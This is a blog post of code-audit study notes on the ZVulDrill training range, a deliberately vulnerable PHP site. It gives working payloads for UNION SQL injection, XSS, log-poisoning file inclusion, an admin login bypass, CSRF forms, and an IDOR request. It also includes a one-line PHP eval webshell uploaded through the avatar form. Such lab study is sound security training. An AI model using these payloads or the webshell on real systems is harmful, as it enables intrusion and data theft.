ZVulDrill 代码审计学习

靶场下载

4.2 ZVulDrill 漏洞

代码审计思路

  • 观察网站的功能,根据功能思考可能存在的漏洞,然后查看功能对应的代码
  • 通读源代码
  • 用代码审计工具扫

实战一:由功能反推漏洞,然后查看源代码

  • 1、搜索框

    • 可能存在sql注入

      • 过滤情况:未过滤

      • payload:

        • 1、首先通过var_dump 查看查询语句,得到:

          • string 'SELECT * FROM comment WHERE comment_text LIKE '%1%'' 
            
        • 2、尝试闭合:

          • 查询字段数:1%' order by 1#
            • 易错点: order by 前面是没有and的,如果加一个and 会报错
          • 得到字段数为4,接下来联合查询:
            • 1%' union select 1,2,3,4#
          • 根据显示位查询数据库名和数据库当前用户
            • 1%' union select 1,database(),user(),4#
    • 搜索结果显示,可能存在反射xss

      • 过滤情况:未过滤,直接使用的echo

      • payload:

        • <script>alert(1)</script>
          
  • 2、about页面

    • 观察到url里的 f=header.php 可能存在文件包含漏洞
    • 过滤情况:无,它直接包含我们传递进来的参数
    • payload:
      • 首先看是否有报错,随便包含一个不存在的文件,爆出了绝对路径:D:\wamp\www\www.z.com\about.php
      • 根据绝对路径,判断出wamp的报错日志路径:D:\wamp\logs\apache_error.log
        • 一般wamp的默认日志路径就在这里,注意:是apache_error.log,而不是php_error.log
      • 3、构造错误的访问,错误的访问的url里写上我们的一句话,这里我用phpinfo来进行测试,payload:http://www.z.com/<?php phpinfo();?>
      • 4、尝试包含,发现失败,在本地打开apache_error.log,发现尖括号被转码了,我们可以利用burp抓包,将它url转的码重新改回尖括号
      • 5、再次尝试包含,成功包含
  • 3、普通用户登录页面

    • 可能存在sql注入:万能密码
      • 过滤情况:有过滤
        • 通过查看login.php,发现html的action指向了loginCheck.php,所以我们来分析loginCheck.php,代码里面对用户提交的user和pass进行了clean_input函数处理
        • 接下来就是分析clean_input函数的功能,在loginCheck.php未找到定义该函数的代码,但是loginCheck.php页面开头包含了config.php文件
        • 接下来分析config.php文件,在config.php里未找到clean_input,但是config.php包含了lib.php文件,所以去分析lib.php
        • 在lib.php里成功找到定义clean_input函数的代码,发现clean_input函数对传入的参数都进行了mysql_real_escape_string 处理
        • 最后百度mysql_real_escape_string 函数的功能,得到该函数就是将参数里的一些特殊字符进行转义,其中就有单引号,所以我们无法注入。但是我们可以尝试宽字节注入
        • 宽字节注入因为我们在代码里连接数据库的时候,设置数据库编码为 gbk,就会导致通过宽字节可以将转义的斜杠 \ 给吃掉,从而达到注入的方法
        • 通过分析logCheck.php,发现它并没有设置编码为gbk,所以宽字节注入不存在
      • 漏洞情况:无
    • 可能存在爆破
      • 过滤情况:无
      • payload:
        • 通过查看login.php,发现html的action指向了loginCheck.php,所以我们来分析loginCheck.php
        • 通过分析,它并没有验证码禁止,也没有登录错误次数显示,所以可以爆破
        • 通过burpsuit即可进行爆破
  • 4、注册页面

    • 过滤情况:sql有过滤,xss无过滤

      • 注册页面是reg.php,通过分析,它指向了regCheck.php,所以我们去分析regCheck.php
      • 通过分析,regCheck.php对用户提交的用户名和密码进行了clean_input处理,所以这里不存在注入
      • 通过分析,发现它仅仅对注册的密码进行了SHA加密处理,对用户名没有处理
    • 可能存在存储型xss

      • payload:

        • 因为没有对注册用户名过滤,所以可以在用户名那构造xss

        • 注册用户名,用户名那里填写如下代码

          • <script>alert(1)</script>
            
      • 漏洞情况:存在存储型xss

    • 可能存在insert注入

      • 漏洞情况:不存在sql注入
  • 5、个人主页

    • 头像上传,可能存在文件上传漏洞

      • 过滤情况:无

        • 文件上传所在文件为:edit.php,通过分析,发现它指向了updateAvatar.php,所以接下来去分析updateAvatar.php
        • 发现它仅仅判定文件上传是否是submit提交和uploaddir是否设置,uploaddir它已经自定义该变量了,后门又对文件名进行了clean_input处理,但是该处理仅仅将字符串里的特殊字符进行了转义,所以没有进行过滤
      • payload:

        • 直接上传php一句话即可:shell.php

          • 易错点:符号 @ 是为了去除报错

          • <?php @eval($_POST['x']);?>
            
        • 用菜刀访连接,成功连接

      • 漏洞情况:存在漏洞

    • 发布留言:可能存在xss漏洞

      • 过滤情况:存在过滤
        • 发布留言是message.php文件,通过分析,发现它的html指向了messageSub.php,所以去分析messageSub.php
        • 通过分析messageSub.php,发现它仅仅判断用户是否提交留言,以及用户是否处于登录状态,然后对用户的留言进行了clean_input处理,这仅仅是对特殊字符进行了转义,但是没有对xss的相关字符进行处理,就直接插入数据了,所以数据插入进去没有被过滤
        • 最后就是分析留言展示的时候是否被过滤,通过分析message.php。可以看到它通过htmlspecialchars对用户的用户名和留言内容进行了实体化,所以这里用户名和留言内容都过滤了
      • 漏洞情况:不存在漏洞
    • 资料编辑页面可能存在越权

      • 过滤情况:更新用户名存在越权,更新密码不存在

        • 资料编辑的页面是edit.php,修改用户名指向了update_name,通过分析,发现它更新用户名,首先是判断当前用户名存不存在,如果不存在,就根据user_id来更新用户名,而user_id是post来的,仅仅做了一个clean_input处理,所以我们完全可以通过post不同的user_id来修改其他用户的用户名
        • 更新密码页面,也是根据user_id来更新密码,但是它这里的user_id是通过session来获取的,而session是保存在服务器的,所以我们无法伪造了,所以,这里不存在漏洞
      • payload:更新别人的密码

        • 1、准备2个账户

        • 2、用第二个账户修改第一个账户的用户名

        • 3、在第二个账户修改用户名的时候抓包,发现id参数,尝试修改

          • POST /user/updateName.php HTTP/1.1
            Host: www.z.com
            User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
            Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
            Accept-Encoding: gzip, deflate
            Referer: http://www.z.com/user/edit.php
            Cookie: PHPSESSID=guqcph20e9rd43cu983p7n3692
            DNT: 1
            Connection: close
            Upgrade-Insecure-Requests: 1
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 43
            
            id=4&username=ddd&submit=%E6%9B%B4%E6%96%B0
            
        • 4、可以将id改为3,放包,发现成功修改别的用户的用户名

      • 漏洞情况:存在越权漏洞

    • 资料编辑可能存在csrf

      • 过滤情况:用户名和密码都无过滤

        • 更新用户名:仅仅判定是否是submit提交和用户名是否为空,无过滤
        • 更新密码:仅仅判断密码是否为空,并且更新密码是get请求,无过滤
      • payload:修改用户名和密码,csrf

        • csrf更新用户名

          • 1、依据通用csrf模板进行修改

            • <!DOCTYPE HTML>
              <html lang="en-US">
              <head>
              <title>CSRF GET</title>
              <body>
                   <form  name="form1" action="http://www.a.com/update_user.php" method="post" enctype="multipart/form-data">
                   		 <input type="hidden" class="form-control" name="user_email" value="">
                        <input type="hidden" name="user_password" value="123"/>
              		  <input type="hidden" name="user_password2" value="123"/>
              		  <input type="file" class="form-control" name="user_pic">
                   </form>
                   <script>
                        document.forms.form1.submit();
                   </script>
              </body>
              </html>
              
          • 2、根据修改用户名和密码各自的判定条件进行修改

            • csrf更新用户名:根据源代码,必须要submit提交,所以不能用上面模板里的javascript自动提交,得诱惑别人提交
          • 3、payload如下

            • <!DOCTYPE HTML>
              <html lang="en-US">
              <head>
              <title>CSRF 更新用户名</title>
              <body>
              <form action="http://www.z.com/user/updateName.php" method="post" name="update_name" class="bs-example form-horizontal">
                            <input type="hidden" name="username" value="999" class="form-control" id="inputEmail">
              			<div><input type="submit" name="submit" class="btn btn-primary" value="抽奖"/></div>
              
              </form>
              </body>
              </html>
              
        • csrf更新密码:因为这里更新密码是get请求,所以更加简单

  • 6、管理员登录界面

    • 过滤分析:无过滤

      • 仅仅对密码进行了SHA加密,但是未对用户名做任何处理,所以无过滤
    • 可能存在弱口令爆破

      • 存在,没有设置登录错误次数,也没有验证码
    • 可能存在sql注入

      • payload:
        • 可以尝试万能密码,闭合
        • sql语句:SELECT * FROM admin WHERE admin_name = '$name' AND admin_pass = SHA('$pass')
        • 尝试闭合:admin'or 1 # 密码随便输,成功登录
      • 漏洞情况:存在漏洞

实战二:用seay工具扫描,然后对扫描出来的漏洞进行判定

  • about.php 可能存在文件包含
  • 以下文件可能存在sql注入
    • messageSub.php
      • 过滤情况:message存在clean_input过滤
      • 漏洞情况:不存在漏洞
    • regCheck.php
      • 过滤情况:存在clean_input过滤
      • 漏洞情况:不存在漏洞
    • updateAvatar.php
      • 过滤情况:存在clean_input过滤
      • 漏洞情况:不存在漏洞
    • updataName.php
      • 过滤情况:存在clean_input过滤
      • 漏洞情况:不存在漏洞
    • updataPass.php
      • 过滤情况:密码被SHA加密了
      • 漏洞情况:不存在漏洞
  • 以下文件可能存在xss
    • search.php
      • 过滤情况:直接用echo输出搜索字符串,无过滤
      • 漏洞情况:存在xss漏洞
  • 以下文件可能存在文件上传
    • updateAvatar.php
      • 过滤情况:存在clean_input过滤,但是clean_input主要是针对sql注入的,对文件上传无效,并且它后续也没有代码对文件上传的后缀、上传类型进行过滤
      • 漏洞情况:存在文件上传漏洞

实战三:用rips工具扫描,然后对扫描出来的结果进行判定

  • about.php可能存在文件包含

    • 过滤情况:直接包含get传递进来的参数,无过率
    • 漏洞情况:存在文件包含漏洞
  • 以下文件可能存在xss

    • delUser.php

      • 过滤情况:无过滤

      • 漏洞情况:存在漏洞

      • 漏洞利用:

        • 当我们访问http://www.z.com/admin/delCom.php 的时候,如果不是用户名不是admin,并且id权限不为空的话,才可以访问该页面,否则就会执行delCom.php 文件里的else语句,从而调用not_find函数,not_find函数是lib.php里的

        • lib.php里的not_find会获取传递过来的网址参数,然后将其输出出来,比如 The requested URL /admin/delCom.php/ was not found on this server. 所以,我们完全可以在delCom.php 文件后门构造xss

        • payload

          • http://www.z.com/admin/delCom.php/alert(1)
            
    • messageSub.php

      • 过滤情况:无

      • 漏洞情况:存在漏洞

      • 漏洞利用:

        • 基本原理和第一个xss一样,代码里必须要是post提交,并且登录状态才能正常访问该页面,否则就会触发else语句,从而输出访问的url,所以可以在url里构造一个xss

        • payload

          • http://www.z.com/messageSub.php/<script>alert(1)</script>
            
    • updateAvatar.php

      • 过滤情况:无过滤,但是这需要在文件名那里插入xss,但是文件名里是不允许尖括号的
      • 漏洞情况:不存在漏洞
    • search.php

      • 过滤情况:无,直接将我们搜索的字符串echo出来了
      • 漏洞情况:存在漏洞
  • 以下文件可能存在sql

    • admin/logCheck.php

      • 过滤情况:未对用户名进行过滤
      • 漏洞情况
        • 存在sql,可以使用万能密码进行绕过登录
    • messageSub.php

文件包含的几种利用方式

  • 1、插入图片马,然后包含
  • 2、通过爆出绝对路径,然后猜测日志、错误日志的路径,接着访问该网站,使其报错,在网址里加上一句话木马,然后包含该日志
  • 3、利用协议写入一句话木马,利用fopen、fwrite
posted @ 2022-03-04 19:49  painter520  阅读(338)  评论(1编辑  收藏  举报